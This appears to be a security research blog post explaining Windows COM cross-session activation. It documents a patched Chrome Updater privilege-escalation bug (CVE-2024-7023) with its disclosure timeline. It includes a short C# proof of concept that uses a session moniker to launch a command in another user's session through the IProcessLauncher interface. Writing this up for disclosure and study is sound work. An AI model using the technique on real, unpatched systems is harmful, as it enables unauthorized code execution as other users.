COM Cross-Session Activation
Once again, reading blogs and tweets from James Forshaw led me to wonder how things work. This time, I was working on DCOM for my last blog post and while reading about cross-session activation, I had trouble believing what I was reading.
Let’s start with the basics.
COM 101
The Microsoft Component Object Model (COM) defines an interoperability standard for creating reusable software libraries that interact at run time.
Imagine you wrote software that needs updating. For this to be able to work in the user context, you install a service, let it run as SYSTEM. Your userland software will be able to use COM to communicate with the service in order to update your software as SYSTEM.
A COM class is the implementation of a group of interfaces executed when client interact with a given object. It is identified by a CLSID: a unique 128-bit GUID, registered by the server.
Your service (COM server) registers a COM class “Software Updater”, with CLSID c3ac910b-b039-1500-b33f-5cd7327fe6da. When your software (COM client) wants to update, it creates an instance of the class to communicate with the interface.
A COM interface defines the methods available through the COM class.
In our example, the only method defined is the UpdateFromCmdLine method which takes a command (string cmd_line) as input.
[
object,
oleautomation,
uuid(c3ac910b-b039-1500-b33f-5cd7327fe6da),
helpstring(“Software Updater Interface”),
]
interface ISoftwareUpdater: IUnknown {
// @param cmd_line The full command line to execute.
HRESULT UpdateFromCmdLine([in, string] const WCHAR* cmd_line);
};
COM Security
COM defines a so-called activation security. This specifies who is allowed to activate (or launch) what. This is stored in the registry and evaluated by the service control manager (SCM).
Several values affect COM applications:
Launch and Activation permissions: set who can instantiate and interact with COM class objects
Authentication Level, Delegation rights and Impersonation rights are important when two servers communicate (on behalf of a client) (and for relaying)
Application identity: sets the identities the application can use. That can be:
The interactive user (a logged-in user, in an interactive session)
The launching user (the user which instantiated the COM class)
This user … (a user defined by the server)
The system account (NT AUTHORITY/SYSTEM)
Software Restriction Policy: can restrict code allowed to run
These settings can be found using the registry under HKEY_LOCAL_MACHINESOFTWAREClassesAppID{AppID_GUID} or using the built-in dcomcnfg.exe tool.
Cross-Session Activation
If the application identity is set to “The interactive user”, one can use a so-called “session moniker” to activate a COM class in any interactive session on the machine.
Cross-Session Elevation of Privilege
To recapitulate the above, a COM class may be abused for Cross-Session privilege escalation if:
The ACL of the COM object allows the user to launch and activate it
The application identity is set to “interactive user”
The interface allows to execute code (or do something useful in the context of the victim)
Finding Bugs
For finding COM classes vulnerable to cross-session elevation of privilege (EoP), I can recommend OleViewDotNet, from James Forshaw and the accompanying blog post.
Known Bugs
This class of bugs has been around for a long time, however, I was only able to find a few CVEs:
CVE-2017-0100:
COM Class: HxHelpPaneServer
CVE-2019-0566:
COM Class: Browser Broker
CVE-2021-23874
COM Classes: McAfee CoManageOem and ManageOem
CVE-2023-33127:
COM Class: PhoneExperienceHost
Race condition and code execution through named pipe
Chrome Updater EoP
While researching the topic, I stumbled upon an interface called IProcessLauncher. The Type Library for the class was present and showed a method LaunchCmdLine.
After searching on the Internet for this, I found the source code, in the chromium project (which is based on Omaha):
The associated COM class did not show up in OleViewDotNet, but in the registry, one can find it is related to the Google Update Service:
The application runs with the default Launch and Activation Permissions:
As it runs as a service, the SYSTEM account is used:
Although Microsoft says Cross-Session activation works only with “The interactive user”, this seems to work as well with “The system account”.
TODO XXXXXXXXXXXX WHY?
The Exploit
It is pretty easy to test if this class can be instantiated in the context of another user. The following code (inspired, again from James Forshaw) is all it needs:
namespace SessionMoniker
{
class Program
{
// Defines the interface
[ComImport, Guid(“128C2DA6-2BC0-44C0-B3F6-4EC22E647964”), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IProcessLauncher
{
void LaunchCmdLine(string cmd_line);
void LaunchBrowser(uint browser_type, string url);
Int32 LaunchCmdElevated(string app_guid, string cmd_id, uint caller_proc_id);
UInt32 LaunchCmdLineEx(string cmd_line);
}
// …
static void Main(string[] args)
{
try
{
// Sets the session to execute code into
int session_id = 2;
// Instantiate the object in the session
IProcessLauncher server = (IProcessLauncher)Marshal.BindToMoniker(
String.Format(
“session:{0}!new:ABC01078-F197-4B0B-ADBC-CFE684B39C82”,
session_id
)
);
// Use the interface to execute code
server.LaunchCmdLine(“c:\windows\system32\calc.exe”);
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
The Fix
The bug was disclosed to Google through the Chromium issue tracker. The incriminated interfaces were simply removed, as they were legacy and not used anymore.
Timeline
2024-05-16: Discovery by Sylvain Heiniger
2024-05-21: Initial vendor notification
2024-05-22: Initial vendor response
2024-05-22: Release of fixed Version / Patch
2024-08-27: Coordinated public disclosure date
2024-09-23: CVE-2024-7023 assigned
The Untold
We always report on what works, the cool stuff, the exploits, the bounties. But here’s a list of other things that I tried and led to nothing:
Executing code remotely through the Chrome Updater (ProcessLauncher)
Edge Updater Cross-Session (ProcessLauncher)
The process runs with the launching user, this could still be use as code execution primitive from ActiveX
Getting a certificate for another user (CertRequest, CertRequestD)
Adding a scheduled task as another user (Task Service)
Downloading files or coercing HTTP connection as another user (BITS, WinHTTPRequest)
Conclusion
Update your Chrome Updater!
An almost 10 years old attack class can still yield findings today.
COM is huge and complex, but auditing COM applications can lead to easy privilege escalation.
Thank you James Forshaw
Compass Security Blog – Read More